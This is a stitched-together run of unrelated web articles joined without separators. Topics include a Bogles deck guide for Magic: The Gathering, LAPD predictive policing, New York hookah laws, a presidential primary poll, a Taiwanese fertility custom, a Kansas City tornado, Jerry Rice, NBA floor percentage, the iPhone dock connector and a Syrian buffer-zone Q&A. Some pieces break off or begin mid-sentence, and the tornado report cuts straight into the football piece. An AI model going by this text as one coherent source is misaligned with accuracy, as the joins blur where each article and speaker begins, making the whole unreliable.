By keeping your creature back as a blocker, you might disincentivise your opponent from attacking and once you draw more enchantments you will have an attack that’s actually safe. Just keep in mind that Armadillo Cloak’s lifegain is a trigger, so you can still potentially lose to burn spells when opting to block (this is mainly relevant against Fling).
#107 — Armadillo Cloak randomly acts as removal.
Because Armadillo Cloak doesn’t grant the creature it’s on lifegain but has its own trigger, you will always gain life, regardless of who controls the creature it’s enchanting. This means that you can put it on an opposing creature to shut off its damage output. This is not something that comes up often, but it is worth knowing about.
#108 — Ancestral Mask does not count itself, but it counts all other enchantments.
Just something to pay attention to. Ethereal Armor counts all auras you control, whereas Mask counts all other enchantments on the battlefield, even your opponent’s. I’ve had people play random enchantments against me and then die to the boost they had inadvertently given my creature.
#109 — White decks have Flagbearers…
…and Bogles has a very hard time beating those. Basically, whenever you play against a white deck, you need plan in case your opponent casts one of these. Originally, my primary answer to them has been Gut Shot, but I now think bringing your own Standard Bearers is a better solution. When both players have a Standard Bearer, you can chose either one as a target for your spells, not just your opponent’s. There’s also the potential to play a copy of Lignify, which can be searched with Heliod’s Pilgrim.
#110 — Leave no Trace is a thing.
At first I thought only green decks had good mass removal for enchantments, but it turns out this card also exists. You can’t always play around it, but you shouldn’t blindly play into it either.
#111 — Celestial Flare & Tangle.
Coming back to combat not being trivial, these two cards are also worth paying attention to. Celestial Flare is not something many decks have because White also gets Standard Bearer, Leave no Trace and Circles of Protection, but I have seen it. It’s very hard to have a read on Celestial Flare because the mana they’re holding up also represents Leave no Trace, but sometimes you can beat Flare more or less for free, which you should do if possible. Although you shouldn’t bother if attacking with two creatures is too bad against Leave no Trace, because it’s usually much more likely they have that card in their deck.
#112 — Bogles’ manabase can be improved.
Am I ever happy with a deck’s manabase? I guess there are some I don’t hate…
In all seriousness though, this one’s not too bad. I like that Bogles gets to play decent fixing in Utopia Sprawl and Abundant Growth. It’s also not that heavy on White mana symbols; you rarely need more than one White. The fifteen sources my list currently has are definitely enough, I’m just not the biggest fan of the lands.
In general, I think there are too many tapped lands in Pauper, more than there have to be. Crumbling Vestige has been around for a while and now there’s also Ash Barrens. While the latter has been catching on, I still think it’s underplayed and I’m most likely going to try a split between the two for my next list.
#113 — Why Gleeful Sabotage?
This is not a rethoric question. Almost all green decks in the format play this card, but I really don’t see why. I didn’t like it Elves because it was too clunky and this deck has fewer creatures and less mana. I almost never get to destroy two cards and when I do, it’s usually one good card and another that’s mediocre at best.
It doesn’t help that the good cards in Affinity are not the artifacts either.
In the context of this deck, don’t even think you need that much help against Affinity. The matchup is decent and I do not play it all that much anymore anyway. I think Dawn Charm and Lifegain are much better cards to have against them.
#114 — On Gut Shot.
I think this card is in a similar spot to Gleeful Sabotage. It’s a decent effect that gets played somewhat often, but in reality, its uses are limited.
Gut Shot has some really great moments against Faeries, but most of the time, you’d rather Scattershot Archer against them.
It’s a good card against Elves because it kills almost anything. Except that it’s not good because doesn’t kill everything. Elves is really good at beating one or two removal spells, it’s only sweepers that give the deck issues. Elves doesn’t usually mind losing its first mana creature, not does it fall apart if it loses a Wellwisher. The deck is quite redundant and very good at going over the top of other creature decks. If you really want to stunt Elves’ board development, you need sweepers.
The one good thing Gut Shot does is killing Standard Bearers, but as I mentioned before, I actually think bringing your own copies is better. Standard Bearer is also very good against Elves in shutting off Quirion Ranger (which is behind their most explosive draws) and Timberwatch Elf (which they usually need to kill you).
What I played against last week:
Interestingly, the top five decks make up for half the decks I faced. I feel it makes sense to count UB Control and UB Flicker as one deck here; the split might not even be accurate because some of the deck’s I labelled as UB could have been Flicker, just never showing the few cards they don’t share.
It’s also interesting how much Burn and how little Kuldotha Boros I have faced (I only played against Kuldotha Boros twice; at the time of this writing, MTGGoldfish has it at 14.48%, the most represented deck). Playing against Kuldotha a significant portion of the time was one of the main reasons I switched off Elves, now it has all but disappeared. Because of this, I might go back to Elves at some point, although I’m not super happy with Elves vs. Burn either.
I don’t think any of the common matchups are bad for Bogles though, so I’m going to stick with it at least a little longer. I don’t like the deck vs. Elves, but so long as that’s only around 5% of the metagame, it’s not too big a problem.
Thanks for reading.
J
AdvertisementsLast summer, the press began reporting on a new law enforcement tactic, "predictive policing." A computer program analyzes all crime that occurs in an area and produces a map with boxes drawn around blocks where future crime is most likely.
"Cops working with predictive systems respond to call-outs as usual, but when they are free, they return to the spots which the computer suggests," The Economist noted. "Officers may talk to locals or report problems, like broken lights or unsecured properties, that could encourage crime." The tactic coincided with a 12 percent reduction in property crime in one Los Angeles neighborhood.
The program is now coming to the Pacific Division, also known as my area of the city. And in an innovative twist, the LAPD has asked me to help out in problem spots.
The same request went out to all my neighbors.
"LAPD Pacific Division wants to enhance the results of Predictive Policing to drive crime as low as possible," it stated:
In an effort to do this we are deploying as many resources as possible to the box areas. To further increase the effectiveness of Predictive Policing we are asking the public to spend any free time that you may have in these areas too. You can simply walk with a neighbor, exercise, or walk your dog in these areas and your presence alone can assist in deterring would be criminals from committing crime in your neighborhood.
Every day, they're going to release a new map via social media with an updated boxes so people know which cross-streets in their neighborhood need the most attention.The city's angsty teens and NYU art kids, already stuck playing "Hey Mister" just to get a pack of cigarettes, were dealt another blow from the International Adult Conspiracy this week as the City Council passed a pair of bills that prohibits new hookah bars from opening in the city. It also raises the age at which you can buy tobacco paraphernalia to 21.
One new law from the City Council, passed by an overwhelming 37-5 vote, added hookah smoke to the city's indoor smoking ban, prohibits new hookah lounges from opening in the city and only permits current hookah bars to stay open if they can prove that at least 50 percent of their revenue comes from shisha sales according to the Daily News.
Admittance to hookah bars will be restricted people who are at least 21 years of age, robbing teens of a place to feel very adult and mature after some Carlo Rossi-based pre-gaming. In addition, the hookah bars will have to continue to prove that they aren't using tobacco in their shisha mixtures, something that the city has cracked down on previously.
"Today we once and for all 'clear the air' on the dangers of hookah smoking," bill sponsor Vincent Gentile said in a frankly offensive pun following the passage of the law.
Gentile said the requirement that hookah bars make at least half of their money from shisha sales aims to prevent "the ones that have a hookah pipe at the end of the bar, or have a hookah pipe in a restaurant where you come with your children to have a Sunday dinner, and all of a sudden there's hookah smoke in the restaurant."
In another blow to cool teens who could show off their cigarette rolling technique at parties, the Council also passed a separate bill from Council Member Ydanis Rodriguez that will restrict the sale of any tobacco products including rolling papers, herbal cigarettes and liquid nicotine to anyone under the age of 21. At this rate, it's going to illegal to cause drama on Snapchat within like five years, so enjoy it while you can, teens.Donald Trump speaks during a rally at JetSmart Aviation Services on Sunday in Rochester, N.Y. | AP Photo Poll: Majority of Trump supporters would vote for him as independent
A majority of Donald Trump’s supporters would back the Republican presidential front-runner if he were to run as a third-party candidate, according to a Suffolk University/USA Today poll released Monday.
Fifty-six percent of Trump backers would support him even if he ran as an independent in the general election, while 28 percent said they wouldn’t.
Story Continued Below
The real estate mogul dominates his Republican rivals in the national poll. He tops the survey with 45 percent support, followed by Ted Cruz at 29 percent and John Kasich at 17 percent, with 8 percent of likely GOP voters undecided.
Six in 10 Republicans would support the nominee, though. Nine percent said they would seriously mull supporting a third-party candidate, 7 percent said they would sit out and another 7 percent said they would vote for the Democratic nominee.
But Republicans are split on whether they think the process to select the nominee will be fair. Forty percent said that if their candidate loses the nomination, it will be because the system is stacked against that person, while 38 percent maintained that their candidate would lose fairly.
Republicans are also largely split on whether the front-runner heading into the convention should be the nominee or if that decision should be left up to the delegates. While 47 percent supported giving the nomination to any candidate who holds a clear lead, another 41 percent said it should be up to the elected delegates to decide.
Regardless of how that person should be selected, Republicans overwhelmingly (67 percent) rejected the notion that someone who hadn’t run a campaign should have any chance at the nomination.
On the Democratic side, Hillary Clinton holds a narrow lead over Bernie Sanders, 50 percent to 45 percent with 4 percent of likely Democratic voters undecided.
Nearly 70 percent would support the Democratic nominee regardless of who it is, though just 40 percent believe if their candidate loses it, he or she would lose fairly, while 38 percent said it would reach that outcome because the system is unfair.
Less than a fourth of Democratic voters support the idea of having superdelegates, an unelected delegate who is free to support any candidate. Six-in-10, however, believe that whoever has the most pledged delegates should win the nomination.
Despite the uphill battle he faces, Sanders has vowed to fight on to the convention, and a majority of voters believe he should. Only 37 percent said the Vermont senator should withdraw if Clinton reaches the requisite number of delegates to clinch the nomination.
In hypothetical general election match-ups, Sanders performs best against the Republicans. He beats Trump by 15 points (52 percent to 37 percent), Cruz by 12 (50 percent to 28 percent) and Kasich by 1 (44 percent to 43 percent).
Clinton tops Trump by double digits (50 percent to 39 percent) and Cruz by 7 (49 percent to 42 percent) but loses to Kasich (41 percent to 46 percent).
Half of the voters surveyed said they think Clinton will win the White House in November, while roughly a quarter named Trump. Regardless of who they plan to support, 46 percent of respondents said Trump couldn’t beat Clinton in a general election, a statement 40 percent disagreed with.
The national survey of 1,000 voters was conducted April 20-24 via telephone. The margin of error is plus or minus 3 percentage points overall. The margin of error for the Republican sample is plus or minus 5.7 percentage points and plus or minus 5.1 percentage points for the Democratic sample.In an attempt to boost the country's low birth rate, the Taiwanese government has turned to a rather bizarre superstition, encouraging pregnant women to "share their luck" with others by distributing unused sanitary pads and tampons.
Tapping into the Taiwanese tradition, which dictates that "women can increase their chances of getting pregnant by obtaining unused maxi pads or tampons from pregnant woman to share their luck," according to the Taipei Times, Taipei's Department of Civil Affairs announced this week that it will be collecting pads and tampons from expectant moms until the end of the month. The Times reports that the donated items will distributed "to those who are in need" in August.
On its website, the city government said it hopes couples who are trying for a child will be encouraged by this donation drive, the aim of which is "to help more couples conceive."
“We hope that Taipei residents who want to get pregnant will be blessed by the lucky pads and that their wishes will come true,” department commissioner Huang Lu Ching-ju said at a press conference Wednesday, according to the Times.
As the BBC notes, Taiwan's birth rate was the lowest in world in 2011. However, it has since been on the rise, thanks to government programs like the Taipei City Government's "Good pregnancy assistance" campaign, which offers monetary incentives and other perks to people with kids.
According to the CIA's 2013 World Factbook, Taiwan's total fertility rate of 1.11 gives it the third-lowest birth rate in the world. Singapore is currently at the very bottom of the list, with a TFR of 0.79.
Like Taiwan, Singapore has implemented a plethora of programs -- some of them similarly out-of-the-box -- to encourage couples to have more children.Despite turning 38 in the summer, Lazio striker Miroslav Klose wants to prolong his playing career and could move to the United States at the end of the season.
The Germany legend has seen his goal count dramatically slow down this campaign but his drought hasn’t yet encouraged him to hang up his boots, and if he’s unable to win a further season in Italy then he’s willing to move abroad again.
New York Cosmos could well be his next destination as they weigh up a move, according to Il Messaggero.
The side from the Big Apple play in the North American Soccer League, the tier below Major League Soccer, although have a number of high profile names involved at the club.
Pele is the honorary president of the Cosmos, whilst Carlos Alberto and Shep Messing act as ambassadors.
In terms of playing staff, the club have familiar names such as Juan Arango and Niko Kranjcar in their ranks.One Laptop Per Child Australia received a one-off boost in the federal budget, scoring $11.7 million of funding. In addition, budget measures mean that donations to OLPC Australia will be tax deductible from 1 July.
The funding will be used to purchase Linux-based XO laptops for 50,000 students. "This investment from government is the culmination of years of hard work," OLPC CEO Rangan Srikhanta told Techworld Australia.
"We always saw this as a grassroots movement that would then lead in to government support and we've got that and we're extremely grateful to [independent Lyne MP] Rob Oakeshott, [independent New England MP] Tony Windsor and the prime minister."
Srikhanta said that Oakeshott and Windsor played a "major role" in getting the funding included in the budget.
Backgrounder: One Laptop Per Child Australia set to launch 'One Education' program.
"It was a very natural fit," Srikhanta said. "They've seen the program first hand in their electorates and they have a very strong push on the National Broadband Network and technology as a means of equalising the disadvantages based on where you live, based on geography. So for them it was really a culmination of everything they've been pulling for for quite a few years."
Ultimately OLPC Australia intends to deploy laptops to 500,000 Australian students. "[50,000 laptops is] 10 per cent. It's a pilot and we're hoping to reach in the vicinity of 2000 classrooms around Australia using this funding."
"I've seen both the gap in education particularly in regional and remote communities and I've also seen in the limited rollout of the One Laptop Per Child program so far the impacts it has on closing that gap in education," Oakeshott told Techworld Australia.
One example cited by Oakeshott is Doomadgee State School in north-west Queensland, whose principal, Richard Barrie, was an early adopter of OLPC's XO laptops. Barrie credits the program as being one of the components for the school's increase in National Assessment Program — Literacy and Numeracy (NAPLAN) test scores.
Oakeshott said that the OLPC program has also had an impact in his electorate. "I have some very remote schools, even though I'm in a coastal electorate in the mid north coast of New South Wales. We are the land of hills and valleys and so a lot of schools with really difficult access issues, both in a physical sense and a technology sense, exist.
"I've already got two schools at Mount George and Long Flat that are benefiting directly from the One Laptop Per Child program."
"I think there's a there's a challenge in public policy at the moment to get education and technology as joint partners in the future of both," Oakeshott said.
The MP said he sees links between his support of OLPC and the NBN: "Education and the value of knowledge really can play a much greater role in winning the arguments on why we're doing things such as the National Broadband rollout — this is not just about movies and Angry Birds, this is an education opportunity for a very large country with a very diverse population that can deliver equity in education for all."
Rohan Pearce is the editor of Techworld Australia. Contact him at rohan_pearce at idg.com.au.
Follow Rohan on Twitter: @rohan_p
Follow Techworld Australia on Twitter: @techworld_auIf you need evidence on how corrupt self-serving unions and union officials can be, then please consider Ex-labor chief's 1-day rehire nets $158,000 city pension
A retired Chicago labor leader secured a $158,000 public pension — roughly five times greater than what a typical retired public-service worker in the Windy City receives — after being rehired for just one day of active duty on the city payroll, local news reports said.
According to The Chicago Tribune, Dennis Gannon stands to collect approximately $5 million in city pension funds during his lifetime. He now draws the pension while working for a hedge fund, the Tribune reported.
Gannon, former president of the Chicago Federation of Labor, was able to take a long leave from a city job to work for a union and then receive a city pension based on a high union salary. That arrangement is allowed under a state law signed by Gov. Jim Thompson on his last day in office in 1991, according to an investigation by the Tribune and WGN-TV.
The change has enabled a couple dozen labor leaders to become potential millionaires.
What is different in Gannon’s case is that he became eligible for the especially lucrative pension deal only because the city rehired the former Streets and Sanitation Department worker for one day in 1994, before granting him an indefinite leave of absence, according to the investigation. He retired from the city job in 2004 at age 50.
Gannon’s pension is so high that it exceeds federal limits and required Chicago’s pension fund to file special paperwork with the Internal Revenue Service to give it to him, the Tribune reported.
"I am extremely proud of my many years of service to the city of Chicago and the working men and women of organized labor," Gannon wrote in a statement provided to the Tribune.
The pension came on top of Gannon's union salary, which had grown to more than $240,000. He now draws the pension while working for a hedge fund, Grosvenor Capital Management, that does work with public pensions, including the Teachers Retirement System of Illinois. The firm also was one of Mayor Rahm Emanuel's largest campaign contributors.
Chicago Teacher's Pensions Massively UnderfundedIn news so exciting it stopped my heart and I had to chug a half dozen Monster Energy Drinks to bring myself back to life and even that didn't work so I'm dead now, a new world's oldest d20 die has been found IN EGYPT. The previous record holder was a Roman glass die from around the 2nd century AD, but this one -- this one IS EVEN OLDER. I hope you're sitting down:
Pictured above is a twenty-faced die dating from somewhere between 304 and 30 B.C., a timespan also known as Egypt's Ptolemaic Period.
So the Egyptians played Dungeons and Dragons too! No, no they didn't. I don't know what they played. Probably dead so the slave-master wouldn't make them work on the pyramid that day. Still, I can't believe they even had the skill to cut and carve things so intricately back then. Because I was just cutting up a hotdog to make beanie weenies and almost took a finger off. ALMOST. See? "No, it's gone." *puking beans and weenies*
Thanks to Sarah and jeffery, who just rolled to see who's paying for beers tonight.Published by admin
Yesterday between approximately 6:50pm and 7:15pm CDT a tornado reaching EF1 wind levels touched down between Raytown and Lee’s Summit, and touched down again in the outskirts of Kansas City. Here’s some amazing footage of the tornado passing over the Lee’s Summit area.
Understory stations were live and measuring weather conditions throughout the storm. The cell that would spawn the EF1 tornado passed over our station in Raytown from 6:17-6:37pm CDT, causing a spike in wind speeds, drop in pressure, and drop in temperature (as shown in Figure 1). The pressure drop happened at 6 |
, Rice changed the way players trained, particularly during the offseason. Running sprints up a 2.5-mile hill wasn't enough. Rice would even run stairs on game days to lose weight if he felt the need to trim down.
"Not many people that own all the records spend that type of commitment and give that type of commitment in the offseason," Broncos coach Mike Shanahan told reporters when Rice retired in 2005 after one final training camp, with Denver. "That's why, in my opinion, he's the greatest player to ever play the game."
Despite playing on sub-par teams, Barry Sanders still put up Hall of Fame numbers. US Presswire
The numbers Rice put up after age 30 -- 1,000 receptions for 13,546 yards and 102 touchdowns -- would put him in elite company if left to stand on their own. Marvin Harrison, Cris Carter and Terrell Owens are the only other players in league history with career totals on those levels for all three categories.
"If you ask me," Lewis said, "I'm talking about the greatest."
Rice was a 13-time Pro Bowler and 10-time first-team All-Pro choice. Only Bruce Matthews and Merlin Olsen had more Pro Bowls (14 apiece). Only Jim Otto earned as many first-team All-Pro honors. But there are many ways to measure excellence. Sometimes only a trained eye will catch them.
"People talk about excellence, and when I saw him, I saw excellence defined as attention to details," said retired defensive back Aeneas Williams, like Sanders an eight-time Pro Bowl choice and member of the 1990s All-Decade team. "There are some guys who are very good and probably Hall of Famers, and some like Jerry where, not only did it look like his shoes fit his feet, but they were so well shined and buffed that you would notice it."
Some great players exercise caution in anointing one of their peers as the greatest ever. Not so much, the rest of us.
Some boldly proclaimed Rice or Brown or Montana or others as easy choices for greatest player when I encouraged discussion on the subject Monday. The ensuing conversation did not devolve into chaos, though. Several made strong, reasoned points bearing mention:
"There is something singular about Jerry Rice's contribution to the game," rrobinsrc1 wrote. "When I hear people talk about the best player ever, Jerry Rice and Jim Brown seem to pop up most often. I think it's because both were the best ever at their positions (arguably, in Brown's case) AND both brought something more than mere performance on the field. I'm not as familiar with Brown, but his fans talk about the ruthlessly physical way he played. In Rice's case, it was the peerless level of professionalism he brought to the sport."
Williams called it grace, noting that Rice wasn't the type to taunt opponents, hog the credit or indulge the selfish nature Williams said all players possess on some level.
Quarterback Joe Montana was a three-time Super Bowl MVP. US Presswire
"The truly great understand that their masterpiece is on display for the benefit of those watching," Williams explained, "and they always leave the display and the perception of what we are seeing to determine the value that each person will place on him."
"Greatest player ever? Not quite," rblain26 wrote. "[Rice] could easily be considered the best player at his position of anyone, but the impact a QB has on a game is too much to discount when talking about the best ever. Peyton Manning, in my opinion will go down as the best, but Rice, I think, is the best non-QB to ever play the game."
That's a fair and rational argument. Quarterback is the most important position, and increasingly so. Montana and the 49ers won two Super Bowls before Rice helped the organization win three more. Rice benefited from great quarterbacks throughout his career.
But receiver can be an underappreciated position, in part because so many wideouts have shown prima donna tendencies over the years. Rice wasn't that way at all. Quite the opposite.
"I've always thought the wide receivers, because of what you ask them to do, are some of the best athletes on your team, first of all," former 49ers offensive coordinator Mike Holmgren said when I reached out to him for a piece on all-time great receivers. "They may be the toughest guys, the really good ones, because they get a hit a lot of times when they do not see the hit coming. There are usually collisions with those guys on every play, one way or another way. You must have tremendous courage and concentration. Not every great athlete can do that."
Rice played in 303 regular-season games, never missing a game to injury for his first 12 seasons. Even when Rice suffered a torn ACL and MCL when Warren Sapp tackled him awkwardly in 1997, he bounced back with 82 catches for 1,157 yards and nine touchdowns the following season.
Rice caught seven passes for 133 yards against the Rams on his 40th birthday, the first of seven 100-yard games in his 40s. Rice played 16 games in 17 of his 20 regular seasons. He played 17 games in 2004, when Seattle acquired him from Oakland.
"I find it virtually impossible to say any player is the absolute best even at their own position," crixtopher wrote. "Rice was a great player, but I have a hard time anointing him, without a doubt, the best receiver to ever play the position. Stats don't tell the whole story. Still, even if stats are a huge part of the argument, what about Don Hutson? Obviously, I never saw him play, but many of his stats are better. Throw out stats and just talk about domination. Cris Carter, Randy Moss, Lynn Swann, Lance Alworth, Don Maynard, Marvin Harrison, Sterling Sharpe, James Lofton -- the list could go on. Step outside of wide receiver and how about Walter Payton? Earl Campbell? Bo Jackson? Eric Dickerson? Dick Butkus, Lawrence Taylor, Ronnie Lott, Joe Montana, Johnny Unitas? There are so many greats. Picking one as above all others? I just can't do it."
Inducted into the Hall of Fame in 1979, Johnny Unitas was a 10-time Pro Bowler. Malcolm Emmons/US Presswire
Football is such a team sport. Rice made those around him better, no doubt, but if the Colts, Lions or Bucs hadn't passed on him in the 1985 draft, the conversation might be taking a different course.
"Being on teams that didn’t win, I know what it’s like," said Williams, who played for the Cardinals before finishing his career with the Rams. "I also know what it was like when I got here with the Rams, with a Marshall Faulk, Torry Holt, Kurt Warner, Orlando Pace and Isaac Bruce. It’s a difference. Jerry could have been on a lousy team and put up some of the same numbers, but would we have the same reverence for him? Collectively, they did it as a team, which caused the shoe to shine on not only one person."
Four of the 14 other modern-era finalists for the 2010 Hall of Fame class played with Rice in San Francisco. Four additional Rice-era 49ers -- Montana, Steve Young, Lott and Woodson -- are already enshrined in Canton, as is former 49ers coach Bill Walsh.
Rice outlasted and outproduced all of them.
"You talk about longevity and playing at a high level for umpteen number of years," Sharper said. "His work ethic, I think it permeated through his team and allowed for them to kind of win the championships that they did, even though they had a lot of good players. I think he always just strove for excellence, and as a football player, that is what you want to try to achieve. It's being excellent year in and year out. You have to rank him as the top receiver of all time and one of the top football players, too."
See also: Sando mailbag continues the conversation.The Floor Percentage Paradox
1990
When Tom Chambers joined the Phoenix Suns for the '88-89 season, I saw him as potentially competing with Eddie Johnson for a starting job. The first thing I did to compare the two players was to look at floor %'s. I initially found that their floor %'s were nearly the same. I couldn't believe it. Johnson outshot Chambers from both the free throw line and the field and Johnson also had a slightly better assist-to-turnover ratio. I recalculated floor %'s and found the same result as before. Chambers actually had a slightly better floor % than Johnson.
How could one player with good shooting percentages and a decent assist-to-turnover ratio be worse than a player who shot the ball poorly and who didn't make up for it by being a good passer?
This situation is not too difficult to find. The first one that pops out to me from last year's stats is a comparison between Atlanta's Moses Malone and Denver's Blair Rasmussen. Malone shot 48.0% from the field; Rasmussen shot 49.7%. Malone shot 78.1% from the line; Rasmussen shot 82.8%. Malone had an assist-to-turnover ratio of 0.56; Rasmussen's was 1.09. Malone doesn't compare to Rasmussen in any of these categories, yet Malone was the superior percentage player overall. Malone's floor % was.542; Rasmussen's floor % was.523.
Perhaps the reason for this becomes clear from the following hypothetical descriptions of extreme situations. In a ten possession sequence, player A goes 0 for 3 from the field, commits one turnover, gets no offensive rebounds, but goes to the free throw line 6 times for 12 shots, making 10. Player A then scored 10 points with his ten possessions on 0% field goal shooting, 83% free throw shooting, and one turnover.
Player A was playing against Player B, who then had the same ten possessions to try to match Player A's score. He makes 3 of 9 field goals and 2 of 2 free throws, committing no turnovers and getting no offensive rebounds. Player B then scored 8 points with his ten possessions on 33% field goal shooting, 100% free throw shooting, and no turnovers.
Notice that Player A wins this battle of ten possessions, 10 points to 8, despite shooting worse and committing one more turnover. It should now be pretty clear why this happened. Player A went to the line much more often than Player B. Because free throws are virtually assured scoring possessions, Player A was racking up easy points at the line while Player B had to make his field goals to get points.
This is what happened with Malone and Rasmussen. For every field goal Malone attempted last season, he had 0.59 free throw attempts. For every field goal Rasmussen attempted, he had only 0.15 free throw attempts. Malone was replacing many of his 48% field goal attempts by 78% free throw attempts. Rasmussen lumbered along with his 49% field goal attempts, rarely getting to showcase his 83% shooting from the line.
Dominique Wilkins was better than Reggie Lewis for the same reason. The whole Atlanta team was better offensively than the Celtics because of free throws (and offensive rebounds). In a comparison of bad scorers, Rony Seikaly and Mark Eaton had very similar floor %'s even though Seikaly shot considerably worse and had an awful 3-to-1 turnover-to-assist ratio. Incredibly under-rated Charles Smith of the Los Angeles Clippers shot worse than Golden State's Chris Mullin and had a considerably lower assist-to-turnover ratio, but he matched Mullin with a floor % of.570.
If this situation weren't so common in the NBA, it wouldn't be worth mentioning, but it does happen. Some players make their living on the free throw line and they don't get their recognition because their stats look worse than someone else's. This just points out how difficult it can be to interpret traditional NBA stats. And it points out the value of a floor % for properly weighting shooting percentages with assists and turnovers.By Clare Jim and Lee Chyen Yee
TAIPEI/HONG KONG (Reuters) - Apple Inc's new iPhone will drop the wide dock connector used in the company's gadgets for the best part of a decade in favor of a smaller one, a change likely to annoy the Apple faithful but which could be a boon for accessory makers.
The iPhone 5, Apple's next generation iPhone expected to go on sale around October, will come with a 19-pin connector port at the bottom instead of the proprietary 30-pin port "to make room for the earphone moving to the bottom", two sources familiar with the matter told Reuters.
That would mean the new phone would not connect with the myriad of accessories such as speakers and power chargers that form part of the ecosystem around iPods, iPads and iPhones, without an adaptor.
That means new business, analysts say.
"It represents an opportunity for accessory vendors," said Pete Cunningham, London-based analyst at technology research firm Canalys. "The iPhone connector has been a standard for a long time now and I would expect the same to be true for a new connector, should Apple change it as expected."
Apple did not immediately reply to an emailed request for comment.
Tech blogs have long speculated on the demise of the 30-pin connector, which at 21 mm wide takes up a chunk of space, especially as the latest technologies such as microUSB offer more power in less space.
They say that a smaller connector would give Apple more scope for new product designs or a bigger battery, or simply to make ever smaller products.
Switzerland's Logitech, one of the biggest makers of Apple speakers, declined to comment.
But some enterprising vendors in China have already begun offering cases for the new phone, complete with earphone socket on the bottom and a "guarantee" the dimensions are correct.
For some in the peripherals industry, the change could open doors to new business.
"iPod docking speaker sales have been declining for one or two years," said an employee of a Hong Kong-based company that designs speakers especially for Apple products.
"My previous factory is a lucky one. They shifted the focus to Bluetooth speakers, which proved a wise decision now," the employee said, speaking on condition of anonymity.
"It looks like while iPod speaker sales are going down, Bluetooth speaker sales are going up."
HAPPY TO UPGRADE?
Apple has already said that some users of older models of its Macbook computers won't be able to use the latest operating system to be announced soon, but analysts think it will be kinder to mobile gadget users.
"Apple needs to find a solution not to disappoint their current clients who want to upgrade to the new iPhone but are tied to an expensive accessory that have bought," said Franciso Geronimo, London-based analyst at technology research firm IDC.
"I believe Apple will come up with some sort of adaptor so the new iPhone can be used with previous connectors."
It could be a difficult change for Apple to manage, even with an adaptor.
"With a smaller connector, what am I going to do with my loudspeaker at home and the fitness pack that I use when I go to the gym? That's the question," said 24-year old Travis Tam, who owns an iPhone 4 and works as an account executive at a social networking company in Hong Kong.
"I feel that the premium gap between the next iPhone 5 and newest Android models is getting much smaller these days. That will mean that details such as having a smaller connector will mean more in whether I will continue to use an iPhone and switch to other Android phones."
A salesman surnamed Chan at an Apple reseller in Hong Kong thought a smaller connector would be a "pain", and would spoil the clean lines and seamless connectivity that is Apple's trademark.
"There are ways around it as some of the speakers have an audio input point that can be connected directly to any iPhone with a earphone jack. It's not a very elegant way of doing things, but it's an alternative," he said.
In the end though, Apple fans are Apple fans.
"I don't think it will stop Apple consumers from buying the new gadgets," said C.K. Lu, Taipei-based analyst at research firm Gartner. "Many companies are interested in developing accessories for Apple because Apple users are more open and willing to buy accessories."November 03, 2014
What Would the Turkish Buffer Zone Mean for Syria’s Displaced? By Matthew Hall, a Q&A with Elizabeth Ferris
In September, the radical jihadist group ISIS launched a major offensive in northeastern Syria, overrunning scores of Kurdish villages along the warpath to Kobani, a strategic town on the Turkish border. The bloody campaign created the largest refugee surge of the war—forcing 200,000 Syrians across the border in two weeks—and again brought to the fore the Turkish proposal for a humanitarian buffer zone.Since 2012, the government of Turkey has advocated for the creation of an internationally sanctioned buffer zone—sometimes called a safe zone—a militarized ribbon running the length of the Turkish/Syrian border, protecting a dozen or so Syrian population centers.The argument for a buffer zone is demonstrated most clearly in Kobani, where evacuated residents camp on Turkish hilltops overlooking their abandoned homes. If the Turkish military could push several miles into Syrian territory, the thinking goes, then Kobanis could stay put in their homes (and go to school, and tend to their shops, and till their fields) rather than huddle in UNHCR tents. And Turkey, which already hosts upwards of one million registered refugees, could relieve itself of the complex burden of hosting displaced Syrians.On its face, the idea has a certain appeal, but there are concerns as well. (Beyond humanitarian concerns, the buffer zone likely has politico-military functions: the cleared zone could be used as an area to train forces opposed to Assad, and the incursion would create the pretense for the Turkish military to destroy PKK installations.)To help us better understand this issue and the ramifications for refugees and refugee policy, we posed several questions to a leading expert on population displacement, Elizabeth Ferris, Senior Fellow at the Brookings Institution:Probably the most relevant precedent is Northern Iraq in 1991 when Turkey was faced with the possibility of a mass influx of Iraqi Kurds fleeing violence after their attempted uprising against the Saddam Hussein regime. Turkey responded by closing the border and taking the issue to the UN Security Council which defined the situation as a threat to international peace and security. While the UN did not authorize a “safe zone,” the US and ten other countries deployed 20,000 troops in Operation Provide Comfort to protect and support some 450,000 or so displaced Iraqis. Most of the internally displaced persons (IDPs) returned to their communities after a month or so.While as in 1991, Turkey wants to halt the influx of hundreds of thousands of Kurdish refugees, today’s situation is different in several important respects. A buffer zone or safe zone depends on military protection—I don’t sense any outpouring of support for enforcing a no-fly zone or putting troops in the area to ensure that displaced Syrians are safe. Indeed I worry about some of the comments that a buffer zone would not only protect Syrian civilians but also provide an area for the Syrian opposition to organize a military response. Any time you mix military operations with protecting civilians, the civilians are put at risk. The Syrian regime could bomb the buffer zone on grounds that it is a military target. Are Turkey and its allies ready to engage in full-scale war with the Syrian government if Syria does violate a buffer zone? And even if such a buffer zone were established, what’s the end game? Would Syrians stay there for a month or two and then return safely to their homes? I just don’t see Syrians being able to return quickly. The worst of all worlds would be to encourage Syrian civilians to move to a buffer zone for their own safety and then fail to protect them—opening up the possibility that they would be at even greater risk as sitting ducks.Discussions around a buffer zone seem to have mixed motivations—to protect civilians, to keep refugees out, to support opposition groups. But if the intention is to keep people safe, then the answer is for them to be allowed to enter Turkey where they can be protected and assisted. I understand that Turkey (and other countries) are reluctant to open their borders to large numbers of refugees—international support has not been able to compensate for the very real costs incurred by the presence of over three million refugees in the region. But in terms of keeping people safe, Syrian refugees in Turkey are much safer than Syrian IDPs on the Syrian side of the border with or without a buffer zone.Turkey is a signatory to the 1951 Refugee Convention but maintains the geographic restriction limiting refugee status to Europeans. But when Syrian refugees began to arrive in 2011, the Turkish government not only kept the border open, but offered them a form of temporary protection and established camps with a full range of services. Today there are over a million Syrian refugees in Turkey, most now living outside of camps.Central to international refugee law is the provision against non-refoulement, that is not sending people back to situations where their lives are in danger. I don’t think anyone seriously thinks that returning Syrians from Turkey back to Syria is safe. Even if they’re returned to a buffer zone, this is a violation of the spirit—if not the letter—of international refugee law. Turkey is also a signatory to the UN Convention against Torture which includes an international obligation not to return people to situations where they are at risk of torture. Given the reports of ISIS atrocities, it would seem to be a clear violation of Turkey’s obligations not to return Syrians to a situation where they are at risk of torture.Governments in the region—particularly Lebanon, Jordan and Turkey—are reeling from the impact of refugees. Turkey isn’t the only country which would like to have some justification for closing their borders or restricting entry by setting up programs for displaced Syrians inside Syria. And Turkey has far more resources than other host countries. If Turkey, with its 80 million people, says 